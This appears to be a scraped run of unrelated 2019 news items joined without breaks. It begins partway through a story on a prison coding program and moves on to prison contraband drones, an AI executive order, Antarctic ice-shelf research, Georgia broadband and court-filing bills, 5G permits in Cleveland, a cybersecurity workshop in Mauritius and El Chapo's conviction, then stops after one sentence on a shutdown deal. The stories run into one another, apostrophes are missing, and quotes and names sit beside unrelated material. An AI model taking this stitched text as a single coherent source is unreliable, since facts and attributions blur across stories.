Redlitz and their team had to develop a simulated Internet that allows students to write code and see their results.Each student sits at her own computer in the small classroom and can watch real-time lessons from computer science experts from Silicon Valley.As a software engineer, your best friend on the outside is Google. We dont have Google inside, so we had to create a repository of content that our students could access, Redlitz said. Theyre learning technology, but were also using technology to really build this program.Parenti first learned about Oklahomas high incarceration rate from former Gov. Mary Fallin at a White House gathering last year. The program at Mabel Bassett is the fourth one installed at a womens prison.The Last Mile is funded by the Chan Zuckerberg Initiative, and locally by the George Kaiser Family Foundation and the Lobeck Taylor Family Foundation. Priscilla Chan, who is the wife of Facebook Founder Mark Zuckerberg, planned to visit the students Tuesday. Lobek Taylor Family Foundation Executive Director Elizabeth Frame Ellison said her organization was drawn to the programs ability to encourage entrepreneurship along with community and economic development.With shrinking budgets from the government, I think public-private partnerships are really the best solution to bring about more change and make an additional impact, Frame Ellison said. I see nonprofits really being able to take risks in pilot programs that might take a lot longer to implement in government.TocQuianna Culver, another inmate selected to join the The Last Mile classroom, is already a college senior majoring in business. Shes been behind bars for a dozen years and now has real optimism for her life when shes released in another 2 1/2 years.This has given me an opportunity to be painted in such a different light, Culver said. I dont have to worry about whether theyre going to see me as a felon; my work can speak for itself. The ability to be the answer to their problem will actually be my ticket.(TNS)  Around five years ago, people located outside Georgia's Calhoun State Prison began making regular cargo runs to the facility with drones carrying cellphones that allowed a group of prisoners  led by a man serving a life sentence, Daniel Roger Alo  to develop and run a multi-state methamphetamine distribution conspiracy that tied in no fewer than four widely recognized street gangs.Ronnie Music Jr., who notoriously won the state lottery and then got into the narcotics business, served as the banker for this conspiracy.According to law enforcement testimony in federal court, those drones had payload capacities of 16 pounds.The state Senate Public Safety Committee unanimously passed a bill by voice vote Monday that would create no-fly zones over any detention facility in the state, while also banning photography of those facilities without a permit.I first learned about the problems of criminals using drones to drop contraband such as cellphones, drugs, weapons, etc., and take photographs over our state prisons, when former (state Department of Corrections) Commissioner (Gregory) Dozier highlighted this in his appropriations request last year, said state Sen. Kay Kirkpatrick, R-Marietta. Since that time, Ive been talking to the (Federal Aviation Administration) about this, because they ultimately control the airspace. As you know, technology frequently gets ahead of the law, and criminals, also, can get ahead of the law sometimes, so we need our law to catch up.She said the bill adds a subsection to the state penal code that prohibits the use of drones to carry payload thats already prohibited by the prison. Kirkpatrick added that it covers state prisons, probation detention facilities, jails and any similar institution operated by the federal government, state, localities or a private corporation.The state DOC and Georgia Sheriffs Association announced their support for the legislation, Senate Bill 6. Sean Ferguson, who works in new projects technology for DOC, said a lot of people dont understand the issues involved. For instance, some drones come equipped with software that prevent it from flying near or over sensitive locations, but that software, of course, can be hacked.You just mentioned hacking the software  thats the biggest issue, Ferguson said. Its like a no guns sign on a bank, and people are still robbing them with guns. The law is as good as the person thats behind it, and following the rules.He said most drones used in prison deliveries go up at night  when its already illegal to fly them without a permit  and its easy to prove intent because the drones usually have contraband on them or are in the process of a multiple-delivery effort. Ferguson said DOC gets about 300 sightings a year, around 25 a month, and have captured seven. He said intercepting the crafts can be hard to do.In other Senate business, state Sen. William Ligon, R-White Oak, had committees pass bills of his Thursday and Monday. The bill heard Thursday in the Senate Judiciary Committee provides for the free e-filing of certain legal documents.Ive been working with some of the judges of the superior court  weve had input from the  clerks council, and basically what the bill does  its giving an attorney the option of filing leave of absence or conflict letters either electronically or by filing it with the clerks office by paper, Ligon said of Senate Bill 38. And, I understand that at times  all of this has never happened to me  there may be a need to file a conflict letter in a case thats not been assigned yet, and in that case you really cant file electronically. So, this is a vehicle to allow that to occur.Then, in the next section, were exempting certain filings from paying the filing fee when theyre filed electronically. And, those are pleadings or documents by the attorney general, secretary of state, district attorney or public defender. Leave of absences and conflict notices.State Sen. Brian Strickland, R-McDonough, suggested and received approval to amend the bill expanding free filing of leaves of absence and conflict notices.Sen. (Bill) Cowsert made a good point  the high cost he had of filing his leave of absence prior to session, and thats something too that an attorney really cant pass along to a client, Strickland said. Its a fee that they incur for their leave, and so I think a good compromise is to still make it mandatory, so theres a uniformity there, you can still see a conflict letter before court online, and a leave of absence can still be assessed through the same process, but make it free.Ligon jokingly consented to the amendment before the committee vote.I dont have an objection to the amendment, its just if Sen. Strickland cant go on vacation, please dont blame me  I tried, Ligon said.The other bill, which passed Monday in the Judiciary Committee, was the annual legislation to clean up state laws  Senate Bill 52.Throughout the years, legislative councils working on legislation, they may notice a misspelled word or references that need to be corrected, Ligon said. An example of this would be on Page 1, lines 13-15, where we change, by replacing, this chapter may be cited to this chapter shall be known and may be cited. Things like that.It quickly passed the committee on voice vote.(TNS)  President Donald Trump signed an executive order Monday directing the U.S. government to prioritize artificial intelligence in its research and development spending, the White House said.The order, which comes amid concerns about Chinas ambitions to dominate the sector and the likelihood of disruption for workers as the technology automates millions of jobs, doesnt outline specific funding goals, but says it aims to ensure that AI develops in a manner that reflects U.S. values and to push training for the future workforce.Ivanka Trump and Chris Liddell, a former Microsoft Corp. chief financial officer who is now a deputy chief of staff to the president, planned to attend the signing ceremony, according to a statement the White House issued in advance.The moves occur less than a week after Trumps State of the Union address, when he said investments in cutting edge industries of the future are a necessity. The White Houses Office of Science and Technology Policy said in a statement during the speech on Feb. 5 that AI was among the industries Trump was referring to, alongside 5G broadband, advanced manufacturing and others.Tech leaders have also been pressing the administration for additional R&D funding and a more focused education strategy.In December, top tech chief executives  including Googles Sundar Pichai, International Business Machines Corp.s Ginni Rometty and Microsofts Satya Nadella  met with White House officials including Ivanka Trump on similar topics.In May, a top White House technology official, Michael Kratsios, assured participants from more than 100 companies across several sectors of the economy that the administration would pursue a hands-off regulatory approach to AI to allow it to grow unfettered.Mondays order envisions regulatory guidance to ensure the technology is trustworthy, said the White House official.The administrations action follows moves by China to establish dominance in a technology with far-reaching implications for national security. The Chinese government has made a 10-fold increase in AI output a national priority for coming years, and many companies there are deploying machine-learning systems to update banking services, identify faces in crowds, and control drones.The order doesnt cover intellectual property protections or export controls, which the administration has sought to use to constrain China in other areas, but aims to open markets for U.S. companies.Lieut. Colonel Nguyen Kim Tinh, from the Vietnam Department of Peacekeeping Operations, was assigned to replace Major Do Thi Hang Nga, who has returned home after finishing her one-year working term as a commanding officer in South Sudan.

Speaking at the ceremony, Director of the Vietnam Department of Peacekeeping Operations Colonel Hoang Kim Phung said the agency has been active in preparing to dispatch its staff to UN peacekeeping missions.

Lieut. Col. Tinh expressed his honour to be directly involved in UN peacekeeping activities.

Tinh pledged to do well in his duty for the term, contributing to implementing Vietnams plan on joining in UN peacekeeping operations during the 2015-2020 period.

In his speech, Deputy Minister of National Defence Sen. Lieut. Gen. Nguyen Chi Vinh praised Major Do Thi Hang Nga for her contributions during her term in South Sudan, asking her to continue adding to consultancy efforts in the field of UN peacekeeping, especially in the preparation of female officers for the work in the time ahead.

He also asked Lt. Col. Tinh to learn from the experience of his comrades in order to perform well in his upcoming duty.

Vinh said Vietnam is making necessary preparations for the second level-2 field hospital and the engineer corp, readying them for UN peacekeeping missions.

In October 2018, Vietnams first level-2 field hospital, the first-ever independent unit of Vietnam to join the UN peacekeeping mission, deployed two groups of 63 personnel to South Sudan. The first group with 32 members set off on October 1 and the second group with 31 doctors left for the African country on October 15.

In June 2018, the UN recognised the Vietnam Department of Peacekeeping Operations as one of four international training centres in the region and agreed to carry out training under the three-party partnership (comprised of Vietnam, the UN, and a partner country).

The selection of Vietnam as a training venue for UN peacekeeping forces in Southeast Asia reflects the UNs appreciation of the nations commitment and the results it has recorded in UN peacekeeping participation.Surface lakes cause Antarctic ice shelves to 'flex'

The filling and draining of meltwater lakes has been found to cause a floating Antarctic ice shelf to flex, potentially threatening its stability.

A team of British and American researchers, co-led by the University of Cambridge, has measured how much the McMurdo ice shelf in Antarctica flexes in response to the filling and draining of meltwater lakes on its surface. This type of flexing had been hypothesised before and simulated by computer models, but this is the first time the phenomenon has been measured in the field. The results are reported in the journal Nature Communications.

The results demonstrate a link between surface melting and the weakening of Antarctic ice shelves and support the idea that recent ice shelf breakup around the Antarctic Peninsula may have been triggered, at least in part, by large amounts of surface meltwater produced in response to atmospheric warming.

As the climate continues to warm, more and more ice shelves may become susceptible to flex, fracture and break up over the coming century.

Most of the Antarctic continent is covered by the Antarctic Ice Sheet, which is up to four kilometres thick and contains enough ice to raise global sea levels by about 58 metres. Over most of the continent and for most of the year, air temperatures are well below zero and the ice surface remains frozen. But around 75% of the ice sheet is fringed by floating ice shelves, which are up to a kilometre thick, mostly below sea level, but with tens of metres of their total height protruding above the water. In the summer months, when air temperatures rise above freezing, the surfaces of these ice shelves are susceptible to melting.

"Surface water on ice shelves has been known about for a long time," said co-author Dr Ian Willis from Cambridge's Scott Polar Research Institute. "Over 100 years ago, members of both Shackleton's Nimrod team and the Northern Party team of Scott's British Antarctic Expedition mapped and recorded water on the Nansen Ice Shelf, around 300 kilometres from where we did our study on the McMurdo Ice Shelf. For the last few decades, it has also been possible to see widespread surface meltwater forming on many ice shelves each summer from satellite imagery."

What is not fully known is the extent to which surface water might destabilise an ice shelf, especially in warmer summers when more meltwater is produced. If the slope of the ice shelf is sufficiently steep, the water may flow off the ice shelf to the ocean in large surface rivers, mitigating against any potential instability.

The danger comes if water pools up in surface depressions on the ice shelf to form large lakes. The extra weight of the water will push down on the floating ice, causing it to sink a bit further into the sea. Around the edge of the lake, the ice will flex upwards to compensate. "If the lake then drains, the ice shelf will now flex back, rising up where the lake used to be, sinking down around the edge," said lead author Dr Alison Banwell, also from SPRI. "It is this filling and draining of lakes that causes the ice shelf to flex, and if the stresses are large enough, fractures might also develop."

Banwell and co-author Professor Doug MacAyeal from the University of Chicago had previously suggested that the filling and draining of hundreds of lakes might have led to the catastrophic breakup of the Larsen B Ice Shelf 2002 when 3,250 square kilometres of ice was lost in just a few days.

"We had been able to model the rapid disintegration of that ice shelf via our meltwater loading-induced fracture mechanism," said Banwell. "However, the problem was that no one had actually measured ice shelf flex and fracture in the field, and so we were unable to fully constrain the parameters in our model. That's partly why we set out to try to measure the process on the McMurdo ice shelf."

Using helicopters, snow machines and their own two feet, the researchers set up a series of pressure sensors to monitor the rise and fall of water levels in depressions which filled to become lakes, and GPS receivers to measure small vertical movements of the ice shelf.

"It was a lot of work to obtain the data, but they reveal a fascinating story," said MacAyeal. "Most of the GPS signal is due to the ocean tides, which move the floating ice shelf up and down by several metres twice a day. But when we removed this tidal signal we found some GPS receivers moved down, then up by around one metre over a few weeks whereas others, just a few hundred metres away, hardly moved at all. The ones that moved down then up the most were situated where lakes were filling and draining, and there was relatively little movement away from the lakes. It is this differential vertical motion that shows the ice shelf is flexing. We'd anticipated this result, but it was very nice when we found it."

The team hope that their work will inspire others to look for evidence of flex and fracture on other ice shelves around Antarctica. Their work will also help in developing ice sheet scale models that could be used to predict the stability of ice shelves in the future and to understand the controls on ice shelf size since they act as buffers against fast-moving ice from the continent. As ice shelves shrink, glaciers and ice streams behind them flow more rapidly to the ocean, contributing to global sea level rise.

###

The work was funded by the US National Science Foundation, the Leverhulme Trust, NASA, and CIRES, University of Colorado, Boulder.

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.According to reports, a recent amendment in the UK Sexual Offences Act, first introduced in 2003, now lists electronic communication found to be 'grossly offensive or of an indecent, obscene or menacing character' as punishable by a Sexual Offences Prevention Order, also known as SOPO.The order prohibits the defendant from engaging in any of the listed activities for a minimum of five years. Recipients of the order are also added to the sex offenders' register.With senders of indecent e-mails now risking naming and shaming, not only should businesses take heed, but UK spammers who use offensive or explicit words in their unsolicited messages also risk facing these consequences."Being listed on the sex offenders' register is no laughing matter," said Carole Theriault, senior security consultant at Sophos. "Although some senders might intentionally want to cause upset with an offensive e-mail, others might see it as a joke or a marketing tactic. The problem is that a recipient might see things very differently, so it is wise to think twice before pressing the send button. Businesses should clearly explain their electronic communication policies to their employees as well as consider a security solution to help block undesirable messages from reaching a recipient's desktop."(TNS)  The legislation, House Bill 23 , would permit Georgias 41 electric membership corporations to offer high-speed Internet service as well as power. EMCs often serve sparsely populated areas where major providers such as AT&T and Comcast havent necessarily built Internet lines.EMCs could help meet a need for Internet service, which state representatives said is essential for business growth, student homework and online health care. Its unclear how many EMCs would start offering Internet if the proposal passes. The bill now advances to the state Senate.Families and children are being left behind because they dont have access to Internet in our community, said state Rep. Winfred Dukes , a Democrat from Albany. You have to have the ability to just Google.Though everyone in the House backed the bill, some representatives said theyre concerned that the legislation doesnt mandate minimum speeds, and that EMCs could charge high rates for traditional Internet companies to run wires on power poles. State Rep. Don Parsons , a Republican from Marietta and an AT&T consultant, said rural residents would be disappointed if their EMCs provided dial-up speeds instead of broadband. He said the legislation should require minimum speeds.Its an any-band bill, not a broadband bill, Parsons said. They can provide bad broadband service. They do not have to provide any level of broadband that customers would find acceptable. similar proposal failed last year because of disagreements over fair competition between EMCs and Internet companies.The bill the House passed Monday would allow EMCs to provide Internet without any caveats, said House Rules Chairman Jay Powell , a Republican from Camilla. Separate legislation could limit the rates that EMCs could charge Internet providers to use their power poles.With more providers we have out there, we can increase the likelihood that they will provide service in rural Georgia, Powell said. We need as many providers as possible in rural areas.Two EMCs  Blue Ridge Mountain EMC and Habersham EMC  already offer Internet service to their customers, even though state law doesnt currently either prohibit or allow them to do so. More electricity cooperatives could start providing Internet service if they have clarity in state law that its permitted, said state Rep. Penny Houston , a Republican from Nashville and the bills sponsor.Cable companies  who could face more competition from EMCs  are concerned about the legislation, said Stephen Loftin, a lobbyist for the Georgia Cable Association The ability to harm a competitor is enormous when your competitor owns the essential facilities to get to the customer, Loftin said. We really need to put some provisions in place to prevent that harm from occurring.The Georgia Cable Associations members include Charter Communications, Comcast and Cox Communications, the cable and broadband Internet subsidiary of Cox Enterprises, which also owns The Atlanta Journal-Constitution. Cox provides cable, Internet and phone services in Middle Georgia, primarily in the Macon and Warner Robins area.Following cybersecurity roles at the U.S. Department of Homeland Security, the White House and Ford Motor Co., Chris DeRusha has taken his next job as the state of Michigans chief security officer.The state's Department of Technology, Management and Budget (DTMB) tweeted out the news on Feb. 11. According to his LinkedIn profile , DeRusha has a bachelors degree in international business and a masters in national security policy studies. After a five-year stint as the associate of a business consulting firm in China, DeRusha was hired in 2011 by the U.S. Department of Homeland Security, first as a special assistant to the deputy secretary, then as a cybersecurity strategist and then adviser to the deputy under secretary for cybersecurity.DeRusha spent almost six years at DHS before being appointed to the Obama administration as senior cybersecurity adviser to the White House from 2015 to 2017. From there he spent a year as manager of application security at Ford, then went to work for DTMB, where he was deputy chief security officer for about a year under CIO David DeVries.DeVries stepped down Jan. 1, and newly elected Gov. Gretchen Whitmer has yet to name a replacement.DeRusha and the Michigan DTMB did not immediately respond to a request for comment.(TNS) - Bay County and the cities of Springfield and Callaway will begin their final passes of free Hurricane Michael debris removal on March 11.Residents in the two cities and incorporated areas of the county are encouraged to have all debris on their curbs by March 10 to help with the pickup. The final wave of cleanup will last through mid-April, after which any debris will be removed at homeowners' expense, officials said."We've got to get this place cleaned up," said Philip Griffitts, chairman of the Bay County Commission. "We continue to see illegal dumping ... we've got to set a date now or we'll never get this done."While Springfield and Callaway decided to partner with the county on their final debris passes, other cities in the area still have their own schedules. Property owners in other cities can contact their local governments for information on when debris collection will end there.For the March pickup, residents should sort their debris. For instance, vegetative debris should be separated from piles of housing debris. Electronics and large appliances also should be in separate piles. Debris should be placed at most 10 feet away from the curb.Also, the debris pickup only applies to damage from the hurricane. Any debris created through home repair must be hauled off by the contractors doing the work.Debris removal has been a long and costly job in the county and expected to be much more expensive when the work is finished.To date, the county has removed about 7 million cubic yards of debris from the unincorporated areas. Springfield and Callaway each have removed about 900,000 cubic yards of debris.Griffitts said debris removal could end up costing the county about $200 million. Callaway estimates a $25 million total debris removal bill, while Springfield expects a $15 million total cleanup cost.County and city officials said they expect reimbursement for much of the debris removal from the Federal Emergency Management Agency, but still don't know when any money will arrive."I don't think anyone knows when they'll get reimbursed," Griffitts said. "It could take a year or two."Springfield Mayor Ralph Hammond said he thought aligning the city's debris removal end date with the county's would be helpful."We're aligning with Bay County to get some folks motivated," Hammond said. "The faster we can get things cleaned up, the faster we can get those big trucks out of here that are tearing up the roads ... and the faster we can get back to road paving."Hammond said getting rid of the debris faster also would improve the community."As long as there's a lot of debris out, the neighborhoods look bad and people aren't going to come back to that," Hammond said. "There's also fire issues and safety concerns with homeless moving into derelict homes."Callaway Mayor Pamn Henderson said debris removal has been a major issue for area cities and the sooner it's gone, the better it will be for residents' mental health."Right now people can't see around the debris piles to see what the future looks like," Henderson said.2019 The News Herald (Panama City, Fla.)Visit The News Herald (Panama City, Fla.) at www.newsherald.comDistributed by Tribune Content Agency, LLC.(TNS)  Inaction by the administration of Mayor Frank Jackson has thwarted efforts by AT&T to invest millions of dollars in the city, the companys regional president, Adam Grzybicki, complained in a letter Friday to Jackson.The delays center on permits that AT&T has been waiting months to receive from the administration as part of efforts to make Cleveland the nations first city with a so-called 5G network, the next generation of wireless communication.As I mentioned in August, we look forward to continuing to invest in the people and city of Cleveland, his letter states. But, currently, most of our investment plans are on hold, due to a lack of urgency from your administration.The holdup, and potential loss of millions of dollars, comes as city business leaders, including some with ties to Jackson, are trying to position Cleveland as a technology center with blockchain.A spokesperson for Jackson said the letter was not received until late in the afternoon and that the administration would have a response to AT&T next week, once it gets a chance to review it.You can read the letter here The letter received Friday follows up on one Grzybicki sent Jackson to last August. ( You can read that letter here .) Cleveland.com contacted AT&T for additional comment.While we have enjoyed a long, positive relationship with the mayor and his staff, this backlog of city approvals is threatening investments that will bring more high-speed fiber and the infrastructure for 5G to Cleveland that will benefit virtually everything and everyone  from health care and education, to public safety and job growth, AT&T Ohio Director of External Affairs Nikki Jaworski said in an email. We hope to see some momentum soon.The nations large wireless carriers are racing to build 5G  or fifth generation  networks. The new technology promises data speeds 50 to 100 times faster than 4G LTE networks Industry experts have predicted that 5G could become a new cord-cutting option for almost 90 million U.S. households that now get broadband, phone and TV via cable or satellite, Bloomberg News reported.In December, AT&T CEO John Donovan told an audience at the Blockland Solutions conference in Cleveland that development of 5G networks could be essential to developing the Internet of Things, a reference to the network of smart devices all connected. Developing 5G could provide the structure for it to run on, he said.That discussion was moderated by KeyCorp CEO Beth Mooney, who also is a member of AT&Ts board of directors. Coincidentally, Mooney also has long been a Jackson supporter and conducted a conversation with the mayor in 2015 state-of-the-city presentation.Developing the 5G network will require AT&T to erect small cell antennas to help deliver signals to customers. Grzybicki complained in an August letter that AT&T had been trying for more than a year to secure an agreement on the antennas without success and asked for a chance to meet with city representatives.The August letter was copied to City Council President Kevin Kelley and to Joe Roman, the CEO of the Greater Cleveland Partnership.Fridays letter clearly was intended to get attention.In addition to Kelley and Roman, it was copied to every other member of City Council, Roman, Law Director Barbara Langhenry and a host of business leaders. Among them is Bernie Moreno, the leader of a grassroots effort to make Cleveland a center for blockchain technology.Kelley, in a telephone interview Friday, said he recalled the August letter and had been hoping that the administration would resolve the issues AT&T was raising. Permit issuance is a function of the administration and not an issue that City Council generally deals with directly.Im a little bit out of the box on this right now, Kelley said. I intend to follow it up on Monday.In his Friday letter, Grzybicki expressed hope for resolution.Like you, we are committed to improving the quality of life in Cleveland by strengthening its neighborhoods and making it a desirable city , Grzybicki said. Bringing AT&T Fiber to even more neighborhoods, and building the infrastructure for 5G, will certainly be a positive step in this direction.The Financial Picture

Access to Modern Technology

Management and Security

A few months ago, the Georgia Technology Authority inked a $219 million deal to outsource responsibility for the states digital services to a major technology vendor. In the past, such a huge agreement might have been unthinkable. It is well known that information technology professionals loath to cede control of departmental assets unless forced to do so.The challenges faced by gov tech leaders is daunting, with security risks, exploding data requirements, access to information and an emerging millennium workforce that demands technology that can adhere to their One Life approach to technology. This new reality is an opportunity for government and industry leaders to leverage their mutual talents.When we think about the pace of change in IT, it was only a few short years ago that the concept of cloud computing was considered an emerging technology. Many early skeptics suggested they would never put their data in the cloud, never mind their most sensitive data. We know today that the pace of cloud adoption continues to accelerate and the value of as-a-Service models has proven to be both efficient and a cost benefit. With technology improvements, it has become increasingly less economical and efficient to operate IT infrastructure in silos  especially within specific governmental departments. Instead, there has been a clear and dramatic shift, with more state and local government agencies not only outsourcing cloud and data center operations but also embracing as-a-Service models for devices.Unlike the older Low Price Technically Acceptable procurement approach, Device-as-as-Service (DaaS) offers these agencies a way of limiting costs, assuring regular access to the latest technology and maintaining a deep bench of experts to manage and secure their endpoint fleets.If you are a state or local government CIO, this probably is not new. More than half of CIOs polled in the National Association of State Chief Information Officers (NASCIO) 2018 State CIO Survey say they plan to downsize state-owned-and-operated data centers, with 75 percent shifting toward as-a-Service and IT-shared service models. In fact, 65 percent are embracing managed services while 57 percent are moving towards outsourced service models.CIOs recognize the value of cloud technology to enable true, cross-departmental communication, cooperation and collaboration. What may not be considered, however, is how cloud-enabled shared services can drive better cost savings, efficiency and cybersecurity from thousands of endpoint devices (laptops, tablets, smartphones, network printers and any other Internet-capable computer hardware device) in your enterprise.From a purely financial standpoint, most state CIOs see as-a-Service models as an innovative way of generating capital funding necessary to modernize legacy systems and bring on new innovation. The NASCIO survey, for example, found 76 percent of CIOs polled are turning to outsourcing and as-a-Service models to free up capital by shifting spending from a capital to operating expense. This same dynamic applies to devices. DaaS typically involves a one-price-per-device model  scalable up or down. This simplified consumption-based pricing makes the IT spend more predictable and efficient. It also frees up funds to spend elsewhere, like on new digital equipment.With DaaS, agencies also have constant access to a broad selection of best-in-class, multi-operating system devices and accessories so they can shorten refresh cycles and keep users happy. This not only enables agencies to ignore chronic operational and productivity issues related to using outdated equipment but also helps them recruit younger workers  millennials and Gen Zers  who tend to favor employers that use modern technology. In fact, a Microsoft survey determined 93 percent of U.S. millennials see modern and up-to-date technology as one of the most important aspects of a workplace.DaaS also enables state and local organizations to tailor the mix of devices and accessories they receive to meet the needs of individual agencies. For example, if one department needs powerful computers for heavy number-crunching and another one needs less powerful machines for more general operations, that can be arranged by DaaS. And because management is centralized, all of these disparate systems can connect and communicate with one another. Digital silos are eliminated.Device management can be a huge drain for IT resources in business as well as in government organizations. In fact, an IDC study, sponsored by HP, found half of IT decision-makers polled believe they spend too much time procuring and managing devices, and 63 percent said resources drained by device management could be used on other more strategic IT projects. DaaS options keep workflows moving more smoothly.The same can be said about the value of outsourcing cybersecurity for endpoint devices to a qualified third party. Cyberassaults against government agencies continue to increase in frequency and intensity. In fiscal 2016 alone, U.S. government agencies reported nearly 31,000 information security incidents, of which 16 could be considered major incidents. Yet, a recent survey from security consultancy Netwrix found the public sector lags behind the private sector in cybersecurity, and only 14 percent of government respondents consider themselves "well prepared" for IT risks.Such risks involve all forms of connected technology, but endpoint devices are one of the most serious because they tend to be less defended than network perimeters. A recent McAfee report found most Internet of Things (IoT) edge devices provide no built-in defenses, so one successful exploit can essentially own the device. Hackers know this and have been targeting edge devices more aggressively. DaaS helps solve for this by assuring that endpoint devices provided to government organizations always contain the latest built-in (not added-on) security measures available at any given time.The shift toward DaaS will not be a natural one for many state and local governments. It will take recognition by leaders at the top that older procurement and management models are no longer working. But it is possible for agencies to reap significant financial benefits, assure regular access to the latest technology and ease the burden of managing and securing endpoint device assets.Boston has expanded its Digital Equity Fund from $35,000 to $100,000 for 2019. This growth follows a successful round of grant-making last year in which the city helped fund a tech-related college prep program for high school students.The Equity Fund is a unique city-funded initiative aimed at fostering digital inclusion among residents, which means helping them use the Internet, gain digital skills and have access to tools they need to pursue goals like health care and employment in the modern world. The fund was started in 2017 to help local community groups support the work.Starting with $35,000 in 2018, Boston increased its size to $100,000 this year. The city will likely give out three to five grants between $20,000 and $35,000 this year, according to Anne Schwieger, broadband and digital equity advocate for Boston.We owe this in large part to the fact that the grant-making we did last year was really successful, had a significant impact and really demonstrated how nonprofit organizations can push the bounds of whats typically considered to be digital equity or digital inclusion initiatives, she said.Last year, the Boston Digital Equity Fund Council, which reviews and decides on the grants, received more than half a dozen applicants for the money. The council awarded one grant last year to the Castle Square Tenants Organization Square Tech program . Castle Square, which is a nonprofit tenant-owned affordable housing complex, then used the grant money from the fund to create a technology audio/visual college course in partnership with the Benjamin Franklin Institute of Technology, located right across the street from the apartments.Schwieger described it as a particularly excellent example of how two entities thoroughly rooted in a neighborhood could work together and use money from the fund to create something that lives beyond a single year. The two organizations created a college course for high school students, one that enrolled 10 local high school students, gave them college credit and also oriented them to the real world of higher education and employment.The Square Tech program that the college course grew from has existed for the past decade, said Irene Chan, manager of Square Tech. The program has been steadily expanding, growing from a cramped space to the 1,000-square-foot area it now occupies. It has two main components, one that trains teens on marketable tech skills and a business side that sees those same teens using their skills for the local community, asking for a small donation to be put back into the program.The money from the Digital Equity Fund enabled Square Tech to advance their work, partnering with Benjamin Franklin to have their students spend two afternoons a week earning college credit, said Carolyn Grimes, interim program director for Castle Square.The program now supports digital inclusion in myriad ways: it sends high school students to advance their tech-based education and job training, it enables those same students to take their new knowledge back into their communities and it helps them do a better job of executing the tech-based assistance they provide for the community through Square Tech. It also bridges some of the gaps between high school and college for the young participants.This is something the students want to do in the future, Chan said, and this is something we want to make sure were preparing them for in the future, so that when they get to college they have a little knowledge, a little extra prep before they go off into the real world.Schwieger said Square Tech was an ideal candidate for digital inclusion support from the city, because it built on work and expertise that was already present in the community and gave it a push to accelerate its efforts.There are many organizations across Boston who have already been very innovative and very high impact in the work theyre doing, Schwieger said, and with a grant from the Digital Equity Fund, they could do something similarly unique and high impact.The application deadline for this years round of funding is set for March 1, 2019, and interested parties can apply now through the Digital Equity Fund webpageDescription

GIS - 13 February, 2019: The cyber security landscape of Mauritius has changed vastly with the emergence of new threats to the online environment. Government recognises the gravity of cyber threats and attacks posed by cybercriminals and the necessity to improving law enforcement and judiciary in the investigation and prosecution of cybercrime.

The Minister of Technology, Communication and Innovation, Mr Yogida Sawmynaden, made this statement, today, at the Hennessy Park Hotel in Ebene during the opening of a workshop on Cybersecurity Capacity Assessment and Cybersecurity Capacity Maturity Model for Nations (CMM), in the presence of the World Bank Country representative for Mauritius, Mr Erik Von Uexkull, Professor Basie Von Solms of University of Oxford and other eminent personalities.

The three-day workshop is being organised by the Ministry of Technology, Communication and Innovation in collaboration with the World Bank and University of Oxford. The main objective is to gain an understanding of the countrys cybersecurity capacity in order to strategically plan further developments in the area of cybersecurity and cybercrime.

Minister Sawmynaden underlined that the emergence of Internet and digital technologies has brought an incredible transformation to the Mauritian society by driving economic growth and bringing a steady increase in efficiency and productivity. He recalled the growing number of challenges with regard to ensuring users trust and confidence in the cyber environment where t he availability of the cyber space and confidentiality, authenticity as well as integrity of data has become questionable.

He underscored that Government has come forward with the Digital Mauritius 2030 Strategic Plan to tackle cybercrime by strengthening legal frameworks, maintaining strong cybersecurity mechanisms through regional and international linkages. A National Cyber Security Strategy, he said, is being implemented to effectively protect information systems and networks as well as the Mauritian cyber space. The Minister emphasised that ensuring the security of the cyber landscape has turned into a key challenge for the country, business and society at national and international level.

Moreover, he pointed out that the deployment of the CMM model in assessing the cybersecurity capacity of Mauritius will contribute towards achieving cyber space resilience and increase effective investment into cybersecurity capacity. The Cybersecurity Capacity Assessment will also help to structure the establishment of the Regional Centre of Excellence in Cybersecurity and Cybercrime, he added.

For his part, the World Bank Country representative for Mauritius, Mr Erik Von Uexkull, underscored that the CMM review process will be carried out based on consultations with different stakeholders and the recommendations of the assessment will enable the country in enhancing its cybersecurity capacity. Consequently, the World Bank will issue a report comprised of the in-country cybersecurity context, he concluded.The Governors Official Program is comprised of a wide range of constitutional and legal duties and ceremonial and community engagements. Each year, the Governor hosts thousands of visitors to Government House to take part in investiture and award ceremonies, Open Days, receptions and meetings, and travels widely throughout Queensland to support the activities of Patron groups. View a chronological record of the Governors daily program below.

On Tuesday, in the morning, His Excellency the Honourable Paul de Jersey AC and Mrs Kaye de Jersey departed Government House for official travel to Bundaberg.

In the afternoon, at the Bundaberg Regional Council Chambers, Bundaberg Central, His Excellency and Mrs de Jersey received a briefing from Council representatives.

Following, at the Queensland Fire and Emergency Services Bundaberg Station, Thabeban, His Excellency and Mrs de Jersey toured the station, met firefighters and State Emergency Service and Rural Fire Service staff and volunteers, and the Governor addressed guests.

Following, at Bundaberg Central, His Excellency toured Bargara Brewing Company.

Following, at Bundaberg Central, His Excellency visited The Generator Bundaberg.

Following, at the Burnett Riverside Hotel, Bundaberg Central, His Excellency and Mrs de Jersey hosted a community afternoon tea, and the Governor addressed guests.

In the evening, at Mon Repos, His Excellency and Mrs de Jersey toured the Mon Repos Turtle Centre.MEXICO CITY: The conviction of drug lord Joaquin `El Chapo` Guzman in a U.S. court is a lesson that a life of crime and easy money doesn`t bring happiness, Mexico`s President Andres Manuel Lopez Obrador said on Wednesday.

Jurors on Tuesday found Guzman guilty of all 10 counts, including running a criminal enterprise, in a trial that began in November in New York.

"It should be a lesson that true happiness is not money, it`s not material, it`s not cheap luxury, or fame," Lopez Obrador said at his daily news conference, when asked about Guzman`s conviction.

"We don`t wish anybody ill. I would like those who choose these paths to reconsider, and understand that freedom is a very precious gift."

Lopez Obrador, who took office in December after a landslide election victory, last month declared that Mexico`s drug war was over and vowed a new security strategy focused more on bringing down record homicide levels and less on toppling kingpins.

While the leftist president, 65, still leans on the military to fight crime, he says his example of clean leadership will help bring about moral change in Mexico.

Witnesses in the trial of Guzman claimed the gangster, 61, once paid a $100 million bribe to Lopez Obrador`s predecessor, former president Enrique Pena Nieto. Other witnesses claimed the cartel paid bribes to former president Felipe Calderon and to a former aide of Lopez Obrador.

The politicians have all denied the claims, which were not supported by evidence.

Lopez Obrador said such allegations could be investigated if a formal complaint emerged in Mexico, but that his preference, politically, was to prevent future corruption rather than dwell on the past.WASHINGTON: Congress on Wednesday was up against a tight deadline to pass a bipartisan accord to avert another partial U.S. government shutdown, but President Donald Trump could still torpedo the deal that denied him funds for his U.S.-Mexico border wall.

